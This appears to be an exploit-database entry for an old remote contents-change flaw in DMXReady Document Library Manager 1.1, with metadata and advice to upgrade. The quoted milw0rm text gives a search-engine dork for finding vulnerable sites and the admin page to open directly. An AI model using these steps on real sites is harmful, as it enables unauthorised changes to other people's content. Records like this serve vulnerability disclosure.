DMXReady Document Library Manager

vendor:

Document Library Manager

by:

ajann

7.5

CVSS

HIGH

Remote Contents Change Vulnerability

CWE

Product Name: Document Library Manager

Affected Version From: 1.1

Affected Version To: 1.1

Patch Exists: YES

Related CWE: N/A

CPE: a:dmxready:document_library_manager

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

DMXReady Document Library Manager <= 1.1 Remote Contents Change Vulnerability

A vulnerability exists in DMXReady Document Library Manager version 1.1 and earlier which allows an attacker to remotely change the contents of the application. This is due to the application not properly validating user-supplied input before using it to modify the contents of the application.

Mitigation:

Upgrade to the latest version of DMXReady Document Library Manager

Source

Exploit-DB raw data:

*******************************************************************************
# Title   :  DMXReady Document Library Manager <= 1.1 Remote Contents Change Vulnerability
# Author  :  "ajann" from Turkey
# Contact :   :( 
# S.Page  :  http://www.dmxready.com
# $$      :  39.97 $
# Dork    :  inurl:inc_documentlibrarymanager.asp
# DorkEx  :
http://www.google.com.tr/search?hl=tr&q=inurl%3Ainc_documentlibrarymanager.asp&btnG=Google%27da+Ara&meta=

****Stop Attack ABD and ISRAEL !


*******************************************************************************

Permissions:
Update
Delete
Insert Category / Sub Category
Image Upload

# http://[target]/[path]/admin/DocumentLibraryManager/add_category.asp

Example: 
You Find -> http://[target]/[path]//applications/DocumentLibraryManager/inc_documentlibrarymanager.asp
Edit  ->    http://[target]/[path]//admin/DocumentLibraryManager/add_category.asp

 :)

# milw0rm.com [2009-01-14]